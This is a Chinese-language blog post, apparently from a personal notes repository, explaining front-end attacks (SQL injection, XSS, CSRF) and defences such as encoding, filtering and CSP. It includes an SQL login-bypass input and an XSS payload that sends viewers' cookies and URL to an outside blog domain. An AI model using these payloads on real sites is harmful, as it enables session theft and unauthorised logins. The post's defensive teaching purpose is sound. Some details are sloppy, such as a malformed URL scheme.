nicenote/source/_posts/前端安全.md
2018-05-26 17:58:20 +08:00

132 lines
5.2 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

---
title: 前端安全
date: 2018-01-25 19:11:25
tags: [xss, crsf]
categories: 安全
---
```html
<font color="#aaf">safetools 的使用方式</font>
```
[demo](http://h5.test.jimistore.com/base/xss)
1. 引用 js 包(内容很少,也可以将内容拷贝出来,直接引用方法)
2. 将需要提交的数据经过 filter 即可,如下:
```js
浏览器自带转换为字符串
var newValue = safetools.encode(value)
正则加密可能有兼容
var newValue = safetools.reEncode(value)
正则解密可能有兼容
var newValue = safetools.reDecode(value)
```
> tag: 前端交互,涉及到数据流动并需要在返回在页面上显示的,一定要经过后端!
# <font color="#aaf">常见的攻击手段</font>
## <font color="#0af">1. SQL 脚本注入攻击于与防御</font>
### 概念
> 用户可以提交一段数据库查询代码根据程序返回的结果获得某些他想得知的数据这就是所谓的SQL Injection即SQL注入.
### 场景
语句
```sql
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
```
如果恶意填入:
> userName = "1' OR '1'='1"; passWord = "1' OR '1'='1";
既可实现无密码登录,美滋滋吧...
### 处理方式
前端和 XSS 处理类似,对传递的数据进行筛选,重点是后端对数据的处理!
## <font color="#0af">2. XSS 攻击与防御</font>
### 概念
> <font color="green">跨站脚本</font>Cross-site scripting通常简称为XSS是一种网站应用程序的安全漏洞攻击是代码注入的一种。它允许恶意用户将代码注入到网页上其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
XSS攻击通常指的是通过利用网页开发时留下的漏洞通过巧妙的方法注入恶意指令代码到网页使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript但实际上也可以包括JavaVBScriptActiveXFlash或者甚至是普通的HTML。攻击成功后攻击者可能得到更高的权限如执行一些操作、私密网页内容、会话和cookie等各种内容。
### 类型
#### 简单分类
1. 反射型xss
通过一次 xss 请求,将数据渲染到页面,请求 -> 返回数据,例子:搜索
2. 储存型xss
通过一次 xss 请求,直接将数据储存在数据库,下次调用无需继续请求,例如:评论
#### 复杂分类
1. client 型
2. server 型
### 处理方式
* 编码
> 将 > ( 标签转换为字符串,可以处理大多数 xss 攻击
* 过滤
> 有的语句并不完全依赖<>标签例如src="javascript:alert(1);"
* 校正
> 这个照理来说应该后端处理,目前没碰到这种场景
```js
> 一个直播平台用户可以进入观看主播可以设置自己的昵称:
var starNickName = '${starNickname}'
```
这怕是要翻水水了...假设是我是主播,我把昵称设置为:
```js
';window.location.href="http//:blog.jzxer.cn/?cook=" + document.cookie + '&url=' window.location.href;''
```
这一串如果传到后端,而后端又没有校正的话的话,这怕是傻眼了...观众进来一个死一个,我应该也会进去蹲几天吧,吧。。。
* CSP
```html
在头部加入:
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
```
meta不信任任何URL即不加载任何资源样式表只信任 cdn.example.org 和 third-party.org 框架 (frame) 必须使用HTTPS协议加载 其他资源:没有限制 启用后,不符合 CSP 的外部资源就会被阻止加载。
> 注意该属性目前比较新hotfix 和 chorme 支持较好,并不适用于所有的浏览器。
## <font color="#0af">3. CSRF</font>
> <span style="color:green;">跨站请求伪造</span>英语Cross-site request forgery也被称为 one-click attack 或者 session riding通常缩写为 CSRF 或者 XSRF 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本XSS相比XSS 利用的是用户对指定网站的信任CSRF 利用的是网站对用户网页浏览器的信任。简单地说是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作如发邮件发消息甚至财产操作如转账和购买商品。由于浏览器曾经认证过所以被访问的网站会认为是真正的用户操作而去执行。这利用了web中用户身份验证的一个漏洞简单的身份验证只能保证请求发自某个用户的浏览器却不能保证请求本身是用户自愿发出的。
### 处理方式
* 验证码
在请求的同时带个token,或者验证码
* Referer Check
这个可以伪造...但加入更保险
> 注意如果网站有XSS漏洞或者一些跨域漏洞可能导致Token泄露。 在XSS攻击下读取Token值然后再构造出一个合法的请求可以称为XSRF。
## 小结
web 安全是个需要长期坚持的事情,没有绝对安全的产品,我们需要做到的就是能够提前预防和及时修复。